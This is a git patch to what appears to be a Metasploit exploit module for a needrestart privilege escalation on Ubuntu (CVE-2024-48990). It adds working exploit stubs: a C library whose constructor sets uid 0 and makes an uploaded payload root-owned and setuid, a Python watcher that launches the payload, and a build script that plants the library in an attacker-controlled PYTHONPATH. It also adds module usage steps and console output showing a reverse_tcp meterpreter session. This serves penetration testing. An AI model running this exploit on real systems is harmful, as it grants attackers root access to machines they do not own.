From 7fd82b89dffbb41af25b346628bd2d5bdcf45e52 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 22 Nov 2024 15:57:18 -0500 Subject: [PATCH] offload files to data --- data/exploits/CVE-2024-48990/build_and_run.sh | 10 ++++ data/exploits/CVE-2024-48990/lib.c | 13 ++++ data/exploits/CVE-2024-48990/sleeper.py | 14 +++++ .../linux/local/ubuntu_needrestart_lpe.md | 47 ++++++++------- .../linux/local/ubuntu_needrestart_lpe.rb | 60 ++++++------------- 5 files changed, 80 insertions(+), 64 deletions(-) create mode 100644 data/exploits/CVE-2024-48990/build_and_run.sh create mode 100644 data/exploits/CVE-2024-48990/lib.c create mode 100644 data/exploits/CVE-2024-48990/sleeper.py diff --git a/data/exploits/CVE-2024-48990/build_and_run.sh b/data/exploits/CVE-2024-48990/build_and_run.sh new file mode 100644 index 0000000000..4542d84468 --- /dev/null +++ b/data/exploits/CVE-2024-48990/build_and_run.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +set -e +mkdir -p "BASE_DIR/importlib" + +# Compile lib.c into the prepared PYTHONPATH +gcc -shared -fPIC -o "BASE_DIR/importlib/__init__.so" C_STUB_PATH + +# Set the malicious PYTHONPATH and run a py script that waits for the shell +PYTHONPATH="BASE_DIR" python3 PY_STUB_PATH \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/lib.c b/data/exploits/CVE-2024-48990/lib.c new file mode 100644 index 0000000000..5fc4c28109 --- /dev/null +++ b/data/exploits/CVE-2024-48990/lib.c @@ -0,0 +1,13 @@ +#include +#include +#include +#include + +static void a() __attribute__((constructor)); + +void a() { + setuid(0); + setgid(0); + const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &"; + system(shell); +} \ No newline at end of file diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py new file mode 100644 index 0000000000..a380ea0f02 --- /dev/null +++ b/data/exploits/CVE-2024-48990/sleeper.py @@ -0,0 +1,14 @@ +import os +import time +import pwd + +print("#########################\n\nDont mind the error message above\\n\\nWaiting for needrestart to run...") + +while True: + file_stat = os.stat('PAYLOAD_PATH') + username = pwd.getpwuid(file_stat.st_uid).pw_name + if (username == 'root'): + print("Payload owned by: " + username) + os.system('PAYLOAD_PATH &') + break + time.sleep(1) \ No newline at end of file diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md index 9b104611ec..d6441e0532 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -1,33 +1,30 @@ -The following is the recommended format for module documentation. But feel free to add more content/sections to this. -One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop -functioning in 5+ years, so giving links or specific examples can be VERY helpful. - ## Vulnerable Application -Instructions to get the vulnerable application. If applicable, include links to the vulnerable install -files, as well as instructions on installing/configuring the environment if it is different than a -standard install. Much of this will come from the PR, and can be copy/pasted. +Local attackers can execute arbitrary code as root by +tricking needrestart into running the Python interpreter with an +attacker-controlled PYTHONPATH environment variable. + +Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 ## Verification Steps -Example steps in this format (is also in the PR): 1. Install the application -1. Start msfconsole -1. Do: `use [module path]` -1. Do: `run` -1. You should get a shell. +2. Start msfconsole +3. Get an initial shell +4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe` +5. Do: `set lhost ` +6. Do: `set lport ` +7. Do: `set session ` +8. Do: `run` +9. You should get a root shell. ## Options -List each option and how to use it. - -### Option Name - -Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. ## Scenarios -Specific demo of using the module that might be useful in a real world scenario. -### Version and OS +### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + +Gain initial shell ``` msf6 > use exploit/multi/script/web_delivery @@ -63,9 +60,12 @@ meterpreter > getuid Server username: h00die meterpreter > background [*] Backgrounding session 1... +``` + +Priv Esc + +``` msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe - verbose true -run [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp @@ -89,6 +89,11 @@ msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run [*] Uploading py_script: /tmp/.FzzlJ [*] Uploading build and run script: /tmp/.h0IkpDa [*] Launching exploit, and waiting for needrestart to run... +``` + +On the remote Ubuntu box run `sudo needrestart` + +``` [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 2.2.2.2 [*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb index c85603d6b0..a3eaf3ccab 100644 --- a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Local info, 'Name' => 'Ubuntu needrestart Privilege Escalation', 'Description' => %q{ - local attackers can execute arbitrary code as root by + Local attackers can execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Local 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, ] + 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) @@ -97,10 +97,6 @@ class MetasploitModule < Msf::Exploit::Local CheckCode::Safe("app #{package} is not vulnerable") end - # - # The exploit method drops a payload file to the system, then either compiles and runs - # or just runs the exploit on the system. - # def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? @@ -112,60 +108,38 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end + # upload payload payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe vprint_status("Uploading payload: #{payload_path}") register_files_for_cleanup(payload_path) - c_stub = %|#include -#include -#include -#include - -static void a() __attribute__((constructor)); - -void a() { - setuid(0); - setgid(0); - const char *shell = "chown root:root #{payload_path}; chmod a+x #{payload_path}; chmod u+s #{payload_path} &"; - system(shell); -}| + # our c stub file does our chmod/chown/suid for the payload + c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.c')) + c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) c_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}.c" write_file c_stub_path, c_stub + # upload_and_compile lib_path, lib, "-shared -fPIC -o \"#{base_dir}/importlib/__init__.so\"" vprint_status("Uploading c_stub: #{c_stub_path}") register_files_for_cleanup(c_stub_path) - py_script = %|import os -import time -import pwd - -print("#########################\\n\\nDont mind the error message above\\n\\nWaiting for needrestart to run...") - -while True: - file_stat = os.stat('#{payload_path}') - username = pwd.getpwuid(file_stat.st_uid).pw_name - if (username == 'root'): - print("Payload owned by: " + username) - os.system('#{payload_path} &') - break - time.sleep(1)| + # the python script is needed for having the PYTHONPATH set and watches + # for our payload to be modified, then run it + py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) + py_script = py_script.gsub('PAYLOAD_PATH', payload_path) py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" write_file py_stub_path, py_script vprint_status("Uploading py_script: #{py_stub_path}") register_files_for_cleanup(py_stub_path) - build_run_script = %(#!/bin/bash - -set -e -mkdir -p "#{base_dir}/importlib" - -# Compile lib.c into the prepared PYTHONPATH -gcc -shared -fPIC -o "#{base_dir}/importlib/__init__.so" #{c_stub_path} - -# Set the malicious PYTHONPATH and run a py script that waits for the shell -PYTHONPATH="#{base_dir}" python3 #{py_stub_path}) + # The build and run script builds our c stub into the python library SO + # then runs our python sleeper script + build_run_script = strip_comments(exploit_data('CVE-2024-48990', 'build_and_run.sh')) + build_run_script = build_run_script.gsub('BASE_DIR', base_dir) + build_run_script = build_run_script.gsub('C_STUB_PATH', c_stub_path) + build_run_script = build_run_script.gsub('PY_STUB_PATH', py_stub_path) build_run_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" write_file build_run_path, build_run_script